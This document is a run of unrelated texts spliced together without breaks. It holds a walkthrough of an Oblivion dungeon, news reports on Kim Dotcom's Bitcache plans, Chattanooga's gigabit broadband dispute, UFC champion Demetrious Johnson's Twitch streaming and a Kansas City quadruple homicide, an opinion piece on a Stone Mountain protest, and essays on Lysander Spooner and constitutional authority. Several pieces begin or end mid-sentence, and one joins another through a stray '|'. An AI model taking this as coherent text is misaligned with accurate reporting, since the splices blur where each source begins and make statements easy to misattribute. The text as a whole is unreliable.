Once you enter the cave start heading south. Eventually you will reach the door to The Embers of Hatred. You can take a detour to the west. There you will find a pit of lava. You can actually jump into the pit and quickly swim north for a boss-level Fleshy Pod. Jumping out of the pit is actually much more difficult, as it requires a combination of Water Walking and high Acrobatics, not to mention the measures to combat the constant lava damage. Make sure you have saved before attempting to reach the Fleshy Pod.
Occupants:
3 Daedra creatures
0-1 Daedric occupants (Daedra creatures or Dremora)
Treasure:
1 boss-level Fleshy Pod Sack02 at location C on map
on map 1 Fleshy Pod Bag
Doors and gates:
There are two doors in/out of this zone 1 door (at A ) leads outside 1 door (at B ) leads to The Embers of Hatred (B2)
Other:
5 (aggressive) Harrada Root plants marked by yellow dots on map
The Embers of Hatred [ edit ]
The Embers of Hatred
The Embers of Hatred looks much like a Sigil Keep. You'll start at the ground level, where you are confronted by two Dremora Hatred Keepers, powerful Dremora. They both carry a key that you need to pass through doors in order to climb the tower. The lava in the center doesn't harm you. Pass through the Halls of Dark Hate to ascend to a Runed Portal. This portal will teleport you to the highest level of the tower. There you can find two The Forbidden containing two unique weapons: Hatreds Heart and Hatreds Soul (including some unique arrows).
Occupants:
Ground level: 2 Dremora Hatred Keepers at locations E on map
Treasure:
1 Hatreds Heart inside The Forbidden at location F on map
on map 1 Hatreds Soul inside The Forbidden at location G on map
on map 13 Hatreds Soul Arrows inside The Forbidden at location G on map
on map 1 Daedra Heart inside The Forbidden at location G on map
Doors and gates:
There are three doors in/out of this zone 1 door (at A ) leads to The Fume Vaults (B1) 1 door (at B, ground level; locked, needs The First Key of Dark Hate) leads to Halls of Dark Hate (B3) 1 door (at C, first level; locked, needs The Second Key of Dark Hate) leads to Halls of Dark Hate (B3)
Other:
1 Runed Portal (at D, first level) that teleports you to the second level
, first level) that teleports you to the second level 1 Runed Portal (at D, second level) that teleports you to the first level
Halls of Dark Hate [ edit ]
Halls of Dark Hate
There is little to do in this zone other than using one of the two corridors to ascend all the way to the top. Remember that you need both keys of the Dremora Hatred Keepers, found in The Embers of Hatred, in order to unlock the necessary doors.
Doors and gates:
There are two doors in/out of this zone 1 door (at A ; locked, needs The First Key of Dark Hate) leads to The Embers of Hatred (B2) 1 door (at A ; locked, needs The Second Key of Dark Hate) leads to The Embers of Hatred (B2)
Other:Kim Dotcom’s pinned tweet reads: “I never lived there, I never traveled there, I had no company there, but all I worked for now belongs to the USA.”
A dedicated Twitter user and political activist, Dotcom’s tweets revolve around the US’s copyright infringement case against him, his businesses, Bitcoin, and, recently, a new Kiwi law interpreted by many as giving government more powers to spy on its citizens.
Tweets about his ongoing legal battles are especially telling. A federal appeals court ruled last Friday the U.S. government was justified in its seizure of millions in assets from Dotcom.
Further, the Megaupload founder has no problem tweeting his thoughts about his judge: “Because Judge O’Grady was a partner at Disney’s favorite law firm. It’s now paying off for the US copyright elite.”
While fighting the Department of Justice, the German born mogul simultaneously courts the anarcho-capitalist and libertarian “Bitcoin community.”
“The #Bitcoin community seems excited about Bitcache,” he tweeted about a recent project to blend Bitcoin and Megaupload.
Dotcom and BankToTheFuture, a self-described “online investment platform that brings financial innovation & technology investment opportunities to qualifying investors” with particular attention to compliance, are working on an investment opportunity for qualifying investors in Dotcom’s newest venture, BitCache.
“Coming this August,” Dotcom tweeted.
The investment opportunity was hatched when financial journalist Max Keiser introduced Dotcom and BnkToTheFuture CEO Simon Dixon.
“This type of financing deal is only possible today due to the fact that the legal environment for storing encrypted files has come much further, the world’s first peer to peer decentralised currency Bitcoin has become the largest in the world,” Dixon told Bitcoin Magazine. BnkToTheFuture allows qualifying investors to pool their funds together to make investments in companies involved in building “the future of finance.”
Dixon says BnkToTheFuture has been involved in investing nearly $70m in companies over the past year. Keiser, a BnkToTheFuture client, suggested a deal between Dotcom and Dixon as soon as Dotcom announced he’d incorporate Bitcoin in Mega Upload 2.0.
Mr. Dotcom seems determined to combine bitcoin and cloud storage. The 2017 reboot of Megaupload – the first version of which was seized in 2012 by the US government – pairs with Mr. Dotcom’s vague blockchain project, Bitcache.
Mr. Dotcom, who founded Megaupload in 2005, foresees a mass online storage solution, with Bitcache using bitcoin to power micropayments. Dotcom also claims he will solve Bitcoin’s blockchain scaling problems. Encryption will secure user privacy.
Dotcom’s three ongoing projects pair: BitCache, Megaupload 2.0, and MegaNET. BitCache, Mr. Dotcom claims, could solve the Bitcoin block size debate.
“Bitcoin is currently involved in a debate on how to scale the number of Bitcoin transactions that can be processed each second and new technology is being developed to make that scaling happen on the Bitcoin protocol level,” Dixon said. “Kim identified a problem that he needed to solve in order to scale Mega Upload 2.0 to the number of transactions he needs to meet his business needs.”
Towards that end for Mega Upload 2.0 and other customers who need larger Bitcoin transaction volumes than currently possible, Dotcom is building Bitcache.
Mr. Dotcom plans on Megaupload 2.0 to deliver the “instant critical mass” MegaNet needs from a robust user base. Megaupload 2.0 Platform will enable Bitcoin micropayments via BitCache, allowing users to white-label their own applications.
MegaNET is designed to become a decentralized internet via mesh networks and the unused processing power and storage in cell phones. BitCache and Megaupload 2.0 are designed to bring processing power to the MegaNET system.
Dotcom says the project will be open sourced. Known currently? Not much. Yet Dotcom promises to bring Bitcoin to the masses: “I know how to create tech with mass appeal. I’ve done it for 20 years. #Bitcache will take #Bitcoin to the masses.”
I know how to create tech with mass appeal. I've done it for 20 years. #Bitcache will take #Bitcoin to the masses. pic.twitter.com/ECveM0qRXN — Kim Dotcom (@KimDotcom) August 9, 2016
Full details won’t be available until the pitch is launched on BnkToTheFuture. That Mega Upload enjoyed a userbase of millions underpins much of the planning for Megaupload 2.0.
“If successful this project can be instrumental in bringing new user cases to Bitcoin from large scale enterprise users potentially bringing millions of first time users to Bitcoin in a way that is more user friendly,” Dixon said. Dixon believes Bitcache could allow Bitcoin to scale to a volume akin to Visa and Mastercard without the need to change the code, as suggested by others.
What’s the big picture? According to Dotcom, his masterpiece:
“I’m creating a perfectly legal privacy masterpiece,” he tweeted. “I can’t wait to show you. Trust me when I say “You won’t need anything else.’”A screen Chattanooga's Electric Power Board uses to monitor gigabit Internet. (Photo11: Chattanooga Times Free Press)
Chattanooga, Tenn., is the unlikely poster child for fast, affordable high-speed Internet.
It's the first city in the nation to offer all residents and businesses up to gigabit-per-second Internet — about 50 times faster than what the Federal Communications Commission says is the national average.
But laws in 19 states make it very difficult or impossible for municipalities to follow in Chattanooga's footsteps and offer broadband Internet themselves, according to the Institute for Local Self-Reliance.
Even Tennessee's law makes it hard for Chattanooga, which, along with Wilson, N.C., petitioned the FCC last week to overrule what city officials call restrictive state laws, to expand its high-speed service to surrounding communities. Both cities want to expand their high-speed service, but say the laws in their states are designed to protect incumbent Internet providers and deter cities from competing with them.
Supporters of the law say requirements ensure cities do not have an unfair advantage against private companies.
The FCC has taken the first step to respond to the requests from Chattanooga and Wilson by allowing members of the public until Aug. 29 to comment on the petitions.
It's unclear how the FCC will ultimately act, but agency head Tom Wheeler has stated publicly that the FCC has the power to preempt any state laws that restrict community broadband competition.
"Given the opportunity, we will do so," Wheeler wrote in a blog post last month.
Downtown Chattanooga and Lookout Mountain as seen from the north side of the Tennessee River. (Photo11: Dan Henry, Chattanooga Times Free Press)
What these laws say
In Chattanooga, the Electric Power Board installed 8,000 miles of fiber-optic cables to every home and business in a 600-square-mile area. The gigabit service launched in 2009, and became available to all 170,000 residents in 2011, said Danna Bailey, EPB spokeswoman.
Bailey compares high-speed Internet access to electricity access a century ago.
"We believe it's this century's critical infrastructure," she said.
Chattanooga has received hundreds of requests from residents in surrounding communities to expand Chattanooga's Internet service into their area, Bailey said.
But Tennessee law prevents Chattanooga from offering Internet outside of its electricity coverage area.
The laws in the 19 states vary in language. Some set outright bans, while others create so many barriers that cities are discouraged from even trying, said Jim Baller, a lawyer representing cities across the country and co-founder of the Coalition for Local Internet Choice.
North Carolina's 2011 law does not explicitly ban cities from building out broadband service, but it lays out so many requirements for cities to meet that it is effectively a ban, said Catharine Rice, president of the SouthEast Association of Telecommunications Officers and Advisors.
For example, a city must do a house-by-house census to figure out a community's Internet speed, something that no municipality could afford, she said.
"It's like death by a thousand cuts," Rice said.
Wilson began providing fiber-to-the-home Internet in 2008 and launched gigabit service in 2013. The city is able to continue offering Internet because it was grandfathered into the state law, said Will Aycock, operations managers of the city's broadband network.
If the law had been in place before 2008, Aycock said, "We could not provide the services we are providing today."
Support for the laws
A lawyer for North Carolina's telecom association says the law is needed to stop cities from trying to shift costs to competitors, such as raising fees for rights-of-way use.
"One of the concerns addressed by the law is the dual roles of cities as competitors and regulators," said Marcus Trathen, a lawyer representing the North Carolina Cable and Telecommunications Association, in an e-mail to USA TODAY Network.
The National Conference of State Legislatures has also voiced objections on the principle of federalism.
James Ward, NCSL's director for state-federal relations, said the organization plans to submit comments to the FCC about the Chattanooga and Wilson petitions.
In a letter this month to the FCC, the organization said it would "challenge the constitutionality" of any FCC action that impacts state laws.
Follow @JolieLeeDC on Twitter.
Read or Share this story: http://usat.ly/1nbNcyBDemetrious “Mighty Mouse” Johnson is the UFC’s flyweight champion and arguably one of the greatest fighters on Earth. He blends speed and technique in ways that’ll make your eyes say, “huminahuminahwhaat?” Naturally, he wants to play video games for a living.
Speaking on a recent episode of the Three Amigos Podcast (as transcribed by Bloody Elbow), Johnson discussed growing up with video games and how he’s recently parlayed that into a fairly successful Twitch streaming venture. Despite a rigorous training schedule (most MMA fighters train around 6-8 hours a day, six days a week), he finds time to stream about 15 hours per week. Sometimes he gets interrupted by mandatory UFC drug tests, but he just keeps on trucking. He is, in other words, pretty dedicated. Reason being, he wants to turn it into a full-time career once the dual vampires of time and decay come for his reflexes and ability to eat punches like a better-than-expected hotel continental breakfast. He explained:
“I heard you could watch people play video games, and that’s how I discovered Twitch. This is when I had Tyren, who is now two and a half years old. I would rock him to sleep at night, and he would take a while, so I downloaded the Twitch app to watch. I saw guys playing games I grew up with like Mega Man X and Zelda: Ocarina of Time. So after some time I started streaming some games on my PS4. I’d have like two viewers in there as I played Final Fantasy 14: A Realm Reborn.” “Next thing you know, my wife was like, ‘You should get into it baby, what do you want to do after you’re done fighting? Why don’t you try streaming?’ Then Twitch reached out to me and told me everything I needed to get to be a serious streamer. All of the credit goes to my wife, she’s the one who suggested I do it. I decided if I was going to do it, I had to be 100% in. I didn’t want to do it half-assed and try to stream from my PS4 or Xbox One, so I bought a computer and she was all in, so I was like, ‘Let’s do it.’”
As the laundry list of title challengers he’s obliterated know, once Mighty Mouse sets his heart on something, he doesn’t fuck around. It’s how he treats fighting, and now, he says, it’s how he treats streaming as well. “Since I’ve started streaming I spend at least 15 hours a week playing games, maybe more,” he said. “My brain needs to be stimulated. I look at streaming like a side project, and I take my side projects and my jobs very seriously.” These days, he plays everything from Bloodborne, to Overwatch, to Destiny, to Final Fantasy XIV, to Street Fighter. Also EA’s UFC game, sometimes.
Johnson is hardly the only high-profile MMA fighter who streams video games. Most notoriously, former UFC light-heavyweight champion Quinton “Rampage” Jackson—currently embroiled in a contract dispute and unable to fight—spends a lot of his time streaming and, er, drunk dialing other fighters to get a rise out of his Twitch audience. On stream, he’s raucous, weird, funny, and occasionally insightful. Also he complains a bunch when he loses. Quintessential Rampage, in other words.
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He’s also locked in a bitter (read: mostly friendly) rivalry with Mighty Mouse, who related an anecdote about their ongoing game of in-game oneupmanship:
“Rampage and I kind of have a little duel going on. He likes to play Rainbow Six: Siege and every once in a while Team Rampage will play Mighty Squad and we’ll double stream it and have a good time.” “If you go by kills, I’m better than Rampage. I’m a beast, just to be honest. If you go with who has a higher rank and puts more time in, Rampage is better. It’s one of his favorite games and he plays it a lot. It’s not a Rambo style game, you board up a room and camp and wait for someone to come, then you shoot them.” “The last time a game got my heart rate up was playing Rainbow Six against Rampage. I was actually sweating. My wife was watching, asking why I was so tense. I was like, ‘Because I’m playing against Rampage with Mighty Squad! Reputations are on the line, baby!’” “There’s some trash talk when I play Rampage, I’ll see him and be like, ‘I see his black ass!’ and it goes back and forth. It’s good times, and it’s good for our communities as well.”
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There’s a serious side to Mighty Mouse’s venture, though. The fact is, it’s tough for many fighters to find good work after their fleeting time in the spotlight. Sure, some fighters—big names like Chuck Liddell and smooth talkers like Kenny Florian—can find work doing commentary or odd-jobs within the UFC, but others have a tough time even cutting it as coaches. It’s not uncommon to see older “retired” fighters make ill-advised comebacks for one last payday, and the result is often ugly, verging on nauseating. Hint: they tend to lose, usually by a knockout with the words “brain damage” written all over it.
Mighty Mouse has always been pretty conscious of how much MMA can mess with your long-term health. He’s a smart dude. It shows in his fighting style and in his post-MMA career aspirations. He might be on top of the UFC’s flyweight division right now, but he’s already planning for the future.
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“You have to think about what you’re going to do after your career,” he said. “I’ve always thought about going back to work at a warehouse or whatever I need to do to make ends meet, but now streaming and video gaming is just kicking off. All I care about is the next game coming out next month. I’m still fighting, I’m in the prime of my career and train my ass off every single day, but I’m starting my second career now. Why not? I’m building my viewership and community now, so when I’m 38 years old and I’m done fighting I can have streaming as my main source of income, hopefully.”
Last image courtesy of Cage Pound.
To contact the author of this post, write to nathan.grayson@kotaku.com or find him on Twitter @vahn16.A man who knew the victims of a quadruple homicide in Kansas City, Kan., helps clean blood from the scene Tuesday morning. (David Eulitt/The Kansas City Star)
A murder suspect who was the subject of a massive manhunt in the Midwest was taken into custody Wednesday, after a quadruple homicide in Kansas and another slaying in Missouri.
Pablo Antonio Serrano-Vitorino, a Mexican national who was in the country illegally, was arrested early Wednesday morning in Montgomery County, Mo., the Missouri State Highway Patrol said in a news release. He has been charged in connection to five deaths across two states.
Serrano. (Kansas City, Kan. Police Department via AP)
Missouri Highway Patrol spokesman Sgt. Scott White told reporters that Serrano-Vitorino was found in a ditch near the intersection of Highway 19 and Interstate 70. A rifle was recovered, White said, but Serrano-Vitorino was taken into custody without incident.
“He looked exhausted,” Highway Patrol Sgt. James Hedrick told the St. Louis Post-Dispatch.
The search for Serrano-Vitorino began after four men were killed in Kansas City, Kan., late Monday night. The victims were identified as Jeremy Waters, Michael Capps, Clint Harter and Austin Harter.
Clint Harter’s wife, Ruth, told KSHB that the couple was approaching their eighth wedding anniversary, and that they are expecting another child.
“I will keep his memory alive,” she said. “My girls will know who their dad was, and how much he loved them.”
Officer Cameron Morgan told The Washington Post that authorities who arrived on the scene late Monday night found one man in the front yard of a home. That man had been shot, but was still alive.
There was another victim on the home’s porch, Morgan said, and two more inside the home. The man the porch, who had called 911, died on the scene. The two inside the home were both deceased.
The victim discovered in the front yard was rushed to a hospital, but he also died, authorities said.
Serrano-Vitorino’s name was listed as Pablo Serrano in a news release from Kansas City, Kan., police. It was not clear which version was correct.
Assistant District Attorney Chris Schneider said Serrano-Vitorino is facing four counts of first-degree murder in Wyandotte County, Kan.
[Previously: Manhunt intensifies for ‘armed and dangerous’ subject after deaths in Missouri and Kansas]
After the Kansas shooting, another homicide was reported in Missouri early Tuesday morning, authorities said. That victim was identified as 49-year-old Randy J. Nordman, according to a highway patrol release.
Serrano-Vitorino is charged with first-degree murder, armed criminal action and first-degree burglary in Missouri, according to online records.
U.S. immigration officials said Serrano-Vitorino was in the country illegally. He was deported from the United States 12 years ago, the Associated Press reported, but later illegally reentered the country.
“U.S. Immigration and Customs Enforcement (ICE) previously deported Pablo Serrano-Vitorino, an illegal alien from Mexico, in April 2004, based on final orders of removal from a federal immigration judge,” ICE spokesman Gail Montenegro told the St. Louis Post-Dispatch. “Mr. Serrano-Vitorino illegally re-entered the United States on an unknown date.”
A federal immigration judge ordered Serrano-Vitorino deported in absentia in 2002, said ICE press secretary Gillian Christensen. In 2003, he was convicted of a felony in California and sentenced to prison, where ICE officers encountered him.
In 2004, he was deported to Mexico, but at some point, illegally reentered the country.
Serrano-Vitorino’s name did pop up in criminal proceedings before this week, Christensen said. In 2014, he was convicted of a DUI in Kansas, however, according to an initial review of ICE records, it doesn’t appear that the agency was notified at the time, she said.
And in June 2015, he was arrested in Kansas City, Kan., for domestic assault, according to Christensen. ICE was notified, but agents weren’t able to interview Serrano-Vitorino because he was released from police custody after being processed.
Then, in September 2015, he was fingerprinted at Overland Park Municipal Court. ICE received an electronic notification about that, said Christensen, but the detainer went to the Johnson County Sheriff’s Office. He wasn’t in the sheriff’s office custody, she said, he was paying a fine at the court.
That meant that neither the sheriff’s office nor ICE could act on the detainer, she said.
This story has been updated.Last year I attended a protest at Stone Mountain, Ga. – the site considered to be the very birthplace of the Ku Klux Klan.
That spring afternoon, about a dozen or so “pro-white” speakers had assembled to spout their ethnocentric rhetoric. Because Georgia state law is practically the basis for the plot of Mad Max Beyond Thunderdome, they were allowed to bring assault rifles with them …
… as were the thousands of people who showed up to demonstrate against them. So basically, we had hardcore white nationalists with guns outmanned literally 10-to-1 by hardcore black nationalists with guns. But – much to my surprise, if not outright shock – not a single shot was fired. In fact, I actually watched a guy from the Huey Newton Gun Club and a white dude wearing a rebel flag hanky peacefully discuss their differences with AR-15s in their hands underneath a gigantic carving of the president of the C.S.A.
As fate would have it, the only violence I witnessed that day came from an entirely different group – a bunch of self-avowed “anti-fascist” protesters.
You know how people sometimes talk about “wake up calls?” Well, I sure as hell had one that evening when I watched a gang of nearly a dozen young men jump two senior citizens – whose only crime was wearing a Confederate flag baseball cap – from behind.
It happened right in front of a local Atlanta TV station camera. I mean four feet in front of it, while a guy was being recorded for an interview. It was the kind of brazen display of senseless violence that usually makes news outfits jump for joy. But when the 6 o’clock news rolled around – it wasn’t shown.
The gallery of pictures on their website? Yeah, it wasn’t there either. I’m not kidding when I say it |
that zone.
3. Matt Zwolinski, "On Constitutions, Coercion, and Coordination" [Posted:Jan. 8, 2016]↩
Lysander Spooner, like many libertarians, believed that individual consent was a necessary condition for political authority. In other words, for a government to have legitimate authority, every single individual living under it must give his or her actual (as opposed to merely hypothetical) consent to it. Since that condition is manifestly not met in the case of the government of the United States – or, I might add, any other government that currently exists or ever has existed – Spooner believed that the government lacks legitimate authority. And this is, no doubt, the correct conclusion to draw from his premises. Once one accepts any version of consent theory strong enough to be worthy of the name, the road to philosophical anarchism is but a short one.
In his introductory essay, Randy Barnett tries valiantly to steer Spooner down a different road. He does this, in effect, by abandoning the consent theory of political authority. Consent, on Randy’s view, is a sufficient condition for political authority. But it is not a necessary one. There are other ways in which a government can acquire legitimate authority. In Randy’s words,
The key move is to recognize that a constitution does not bind the people themselves; instead, a constitution is supposed to bind those who govern the people. To the extent that consent is relevant, each and every office holder takes an oath to obey the Constitution and thereby consents to its terms. So what matters is not whether a constitution was assented to by the people, but whether the laws that are imposed under its auspices bind the people in conscience to obedience.
Consent still plays a role in this argument, but it is a strictly limited one. The Constitution has authority for the people who form the government because they consent to it when they take their oath of office. But for the rest of us who never take any such oath, whatever authority the government has is a function of the content of the laws that it produces. If the laws are in accordance with natural law and therefore binding in conscience, they have authority. If not, then not. A legitimate constitution, then, is one “that adopts procedures to ensure that the laws that are imposed on the nonconsenting public are likely to be just.”
On this view, a government is something like a private club, and a constitution like the charter of that club. Since the charter is only binding on those who sign up to be members of the club, the substantive content of that charter can be just about anything at all. So long as those who are bound by it consent to it, it is legitimate. But nothing in the club’s charter can alter the club’s moral obligations toward nonmembers. The club’s members still have the same obligations toward nonmembers that they had before incorporating.
This simple picture is complicated somewhat by Randy’s claim that a legitimate constitution must adopt procedures that ensure that laws that are imposed under it are “likely to be just.” Without hearing more about the rationale behind this stipulation, I’m not sure what to make of it. It’s one thing to say that people have a duty not to violate the laws of natural justice. It’s another thing to say that they have a duty not to do things that make it likely that they will violate the laws of natural justice. If reading Carl Schmitt makes you more likely to become a fascist, do you have a duty not to read it?
Putting that issue to the side, however, the deeper problem with Randy’s proposal is that it seems to leave the government without any real authority at all. On Randy’s view, legitimate constitutions establish governments that have the authority to pass laws consistent with natural justice. But, as Spooner himself pointed out, this puts governments in a bit of a pickle.
If their laws command anything but justice, or forbid anything but injustice, they are themselves unjust and criminal. If they simply command justice, and forbid injustice, they add nothing to the natural authority of justice, or to men’s obligation to obey it. It is, therefore, a simple impertinence, and sheer impudence, on their part, to assume that their commands, as such, are of any authority whatsoever.
In other words, the theory of authority that Randy has suggested seems to entail that all governments are necessarily either “criminal, as commanding or licensing men to do what justice forbade them to do, or as forbidding them to do what justice would have permitted them to do; or else they have been superfluous, as adding nothing to men’s knowledge of justice, or to their obligation to do justice, or abstain from injustice.”
To illustrate: it is a violation of natural justice to knowingly and intentionally cause the death of an innocent person. So if the government passes a law forbidding murder, one has a moral obligation to obey that law. But it is not because murder is illegal that one has an obligation not to murder. One’s moral obligation is entirely a function of the natural injustice of murder. The law, in this case, adds nothing to one’s moral duties. It is superfluous.
Thus, if all that government may legitimately do is restate and enforce the duties of natural justice, then it would seem to lack any real authority at all. It cannot impose duties upon us. Whatever duties we have are independent of and prior to government. Natural law is the sole authority.
Now, there are a couple of ways in which one might seek to avoid this problem and to establish some form of independent authority for government above and beyond the authority of natural law. One way we might go is the epistemic route: we might claim that governments have authority in the same way and for the same reason that doctors or lawyers do, because they know more than us. This view is compatible with the claim that, as a substantive matter, only natural law has the authority to impose any real duties upon us. But even if this true, it might be the case that most of us aren’t in a very good epistemic position to figure out just what exactly the natural law is.
If governments are in a better position to discern the natural law than the masses of people, this might provide them with a kind of epistemic authority. Just as we obey our doctor when he tells us what drugs we ought to take, we might obey our governments when they tell us what taxes we ought to pay. In neither case does the authority’s proclamation create a new duty for you. They simply provide you with expert advice regarding what your duty independently is.
This is something like the theory that Joseph Raz gave us in The Morality of Freedom (1988). But without getting into the difficulties that have been pointed out with that theory, I’ll note that it is a particularly difficult theory to reconcile with Spooner’s view. After all, Spooner held that natural law is “usually a very plain and simple matter, easily understood by common minds,” that we have an “almost intuitive perception” of its basic principles, and that even “children learn the fundamental principles of natural law at a very early age.” If natural law is so easy to discern, is it really plausible to suppose that we have a duty to obey the dictates of government as a kind of epistemic authority? I would think not -- especially if we take as dim a view of the motivations and competence of government agents as Spooner seemed (justifiably!) to take.
But perhaps there’s another way to go. Rather than claiming that government authority comes from its knowledge of natural law, we might instead say that it comes from its specification of it. After all, the “fundamental principles” of natural law to which Spooner refers are probably best understood as highly abstract generalizations. Locke’s famous dictum that “no one ought to harm another in his life, liberty, or possessions” seems to fit Spooner’s description of a “plain and simple” principle that is almost intuitively perceived. But of course that principle leaves a lot of questions unanswered. Precisely what legal rules should we employ to determine the scope of a person’s possessions? How should liability be assigned in the case of unintentional harm? And so on.
It might be that there is no single set of answers to these questions picked out by the basic principles of natural law. Those principles, we might suppose, establish a set of constraints to which any legitimate set of answers will have to conform. But within those constraints there might be room for a variety of different but non-simultaneously realizable answers. It doesn’t so much matter which system of tort liability we settle upon so much as it matters that we settle upon the same system. People need to be able to form reliable expectations of how their neighbors will behave – and how the law will respond to that behavior – in order to coordinate their actions effectively. Some authority that specifies and publicizes the abstract principles of natural law can greatly aid in this process.
I suspect this kind of argument might be along the lines of what Randy has in mind. It is, after all, very similar to an argument he set forth in his excellent book The Structure of Liberty (1998). And as far as arguments for political authority go, it’s not a bad one. Still, it has its problems. First, it’s not always necessary, in the first place, for all people to coordinate upon a single set of norms. It is often possible, and desirable, to have a polycentric order in which different groups coordinate around different norms. Furthermore, even when universal coordination is necessary, it’s not always necessary that the state be the agent of that coordination. Private entities can fill this role as well, in which case it’s unclear why we should grant any kind of coercive, monopolistic power to the state.
Indeed, it’s unclear whether we should ever give that kind of authority to the state, even in cases where universal coordination is necessary, and even where the state is necessary to achieve it. Suppose that effective social coordination requires that everybody drive on the same side of the road. It doesn’t matter which side of the road they drive on, so long as everyone’s doing the same thing. And suppose, contrary to fact, that private individuals and groups are just utterly incapable of building and managing the roads on their own. Even granting these heroic assumptions, it’s still not obvious that government would be justified in forcing people to drive on one side of the road rather than the other. After all, neither driving on the left or driving on the right is a violation of others’ natural liberties. So forcibly preventing people from doing one of those things seems to be an instance of “forbidding them to do what justice would have permitted them to do,” and therefore impermissible on Spoonerian grounds.
This is a powerful objection. But there might still be one last way around it. The key move is to suppose that people have a natural-law duty to effectively coordinate their actions in ways that are necessary for peaceful coexistence. If we make this assumption, it would seem to follow that people have a derivative natural duty to abide by whatever effective mechanisms of social coordination are available to them. In some cases – perhaps most – that may just be an informal social norm. If there’s a social norm that everybody does X rather than Y, and it’s important that everybody acts in the same way in this context, then one has a duty to abide by the norm and X and not Y.
In some cases, however, the law might be the most effective mechanism for facilitating socially necessary cooperation. That it is so would be a purely contingent social fact. Governments, after all, are big and powerful and rather good at bossing people around. But just these very facts might make the government an effective means, in certain contexts, for getting large numbers of people to coordinate their behavior along similar lines. And if these brute facts about government make it the most effective means for facilitating coordination, then individuals with a natural duty to effectively coordinate might be bound in conscience to obey it.
Even if it works, and I’m not entirely sure that it does, this sort of argument still doesn’t give the government much authority. It certainly doesn’t give it the authority to prohibit marijuana, or bail out banks, or even to run a post office. But if one is interested in bridging the small but formidable gap between philosophical anarchism and a very minimal state, it strikes me as a promising way to go.
Endnotes
Lysander Spooner, "A Letter to Grover Cleveland, on His False Inaugural Address, the Usurpations and Crimes of Lawmakers and Judges, and the Consequent Poverty, Ignorance, and Servitude of the People," in The Collected Works of Lysander Spooner (Indianapolis, IN: Liberty Fund, 1886), 188. Online version </titles/2224>.
Ibid., p. 188, emphasis added.
Joseph Raz, The Morality of Freedom (Oxford University Press, 1988).
"Natural Law; or the Science of Justice: A Treatise on Natural Law, Natural Justice, Natural Rights, Natural Liberty, and Natural Society; Showing That All Legislation Whatsoever Is an Absurdity, a Usurpation, and a Crime. Part First.," in The Collected Works of Lysander Spooner (Indianapolis, IN: Liberty Fund, 1882), 139-40. Online version </titles/2292#lf1531-02_head_049>.
John Locke, The Second Treatise of Government (New York: MacMillan, 1952), chapter 2.Online version Hollis edition 1764: John Locke, Two Treatises of Government, ed. Thomas Hollis (London: A. Millar et al., 1764). </titles/222>.
Randy E. Barnett, The Structure of Liberty: Justice and the Rule of Law (Oxford: Oxford University Press, 1998), chapter 5.
See Spooner, The Unconstitutionality of the Laws of Congress, Prohibiting Private Mails (New York: Tribune Printing Establishment, 1844). </titles/2231>.
THE CONVERSATION↩
I thank my friends and colleagues Rod Long, Aeon Skoble, and Matt Zwolinski for their very insightful comments on my essay on Lysander Spooner. In some respects, their pieces expand upon mine, which was necessarily limited in what it could cover by a requirement that it be 3000 words and no more. In other respects, however, they register some disagreement.
For example, Rod Long contends that Spooner did not actually change his mind about the Constitution’s authority between 1845, when the first edition of The Unconstitutionality of Slavery was published, and 1870 when No Treason appeared. Although I might contest this claim, I have no interest in prevailing in such an exegetical contest. I would be very content if Spooner had indeed remained consistent in his publicly expressed views. And his correspondence provides reason to believe that Spooner kept some of his views private lest he undermine the appeal of his views on slavery and the Constitution.
Space prevented me from elaborating on two distinctions that might narrow the range of disagreement between Rod and myself, as well as correct a possible misunderstanding of my position expressed by Matt Zwolinski. The first is the distinction between interpretation and construction. The second is the distinction between justice and legitimacy. Both are extensively explained in my book Restoring the Lost Constitution.
Interpretation and Construction
Constitutional interpretation is the activity of identifying the communicative content of the Constitution’s text. Constitutional construction is the activity of giving that communicated content legal effect. Knowing what the words of a constitution means is not the same thing as applying those words to particular cases. And constitutions with no legal effect, like that of the Confederate States of America, still have an ascertainable meaning.
What defines originalism as a method of constitutional interpretation is the belief that (a) the communicative content of the written Constitution was fixed at the time of its enactment, and that (b) this meaning should be followed by constitutional actors until it is properly changed by a written amendment. The first of these propositions is descriptive; the second is normative. In my view, the original meaning of the text provides the law that governs those who govern us; and those who are bound by the Constitution, whether judges or legislators, may not properly change its meaning without going through the amendment process.But why the meaning the text of the Constitution had at the time of its enactment ought to be followed is distinct from ascertaining what that meaning is.
The activity of determining the communicative content at the time of enactment required by the first proposition is empirical, not normative. Although we can choose to use words however we wish, as Alice discovered in Wonderland, the social or interpersonal linguistic meaning of words is an empirical fact beyond the will or control of any given speaker (which was the point being made by Alice in Wonderland’s author). As Spooner explained in The Unconstitutionality of Slavery, “[I]f the intentions could be assumed independently of the words, the words would be of no use, and the laws of course could not be written.”
Although the objective meaning of words sometimes evolves, words have an objective social meaning at any given time that is independent of our opinions of that meaning, and this meaning can typically be discovered by empirical investigation. Conducting such an investigation is no more a normative activity to reach conclusions we like than is discovering what is considered good manners in a given society. Say “please” and “thank you”? Shake hands? Bow to someone of higher social status? Wear a veil? We can approve or disapprove of such social practices, and decide whether or not to follow them, but their status as norms is a fact.
So too is linguistic usage. Although I am free to say, “trumetric lyperboly,” I cannot expect that anyone but I will have access to what these two words mean. As an empirical matter, this phrase simply has no objective meaning in our community of discourse. By the same token, I can make up my own meaning for “automobile” as a time machine, but if I decide to use the word to communicate my thoughts in an English sentence, others will take me to be referring to a car.
Where the communicative content of the text provides enough information to resolve a particular issue about constitutionality, giving it legal effect will require little, if any, supplementation, and construction will look indistinguishable in practice from interpretation. That each state is entitled to two senators requires little supplementation to apply. But however much information is contained in the text of the Constitution, there is not always enough information to resolve a particular issue without something more.
To see why this is so, we must understand how language can be either ambiguous or vague. Ambiguity refers to words that have more than one sense or meaning. Vagueness refers to the penumbra or borderline of a word’s meaning, where it may be unclear whether a certain object is included within it or not. Contracts scholar Allan Farnsworth offered this explanation of these two distinct problems of ascertaining linguistic meaning:
Ambiguity, properly defined, is an entirely distinct concept from that of vagueness. A word that may or may not be applicable to marginal objects is vague. But a word may also have two entirely different connotations so that it may be applied to an object and be at the same time both clearly appropriate and inappropriate, as the word “light” may be when applied to dark feathers. Such a word is ambiguous.
In other words, language is ambiguous when it has more than one sense; it is vague when its meaning admits of borderline cases that cannot definitively be ruled in or out of its meaning.
When it comes to resolving ambiguity, the context of a statement usually reveals which sense is meant. For example, the term “arms” in the Second Amendment could be referring to weapons or the limbs to which our hands are attached. Context reveals it to refer to weapons. But even when context reveals the intended sense of a potentially ambiguous word, there is still a problem of vagueness. For example, just how much must an object weigh be before we cease calling it light and call it heavy? How tall must a person be before he is no longer short?
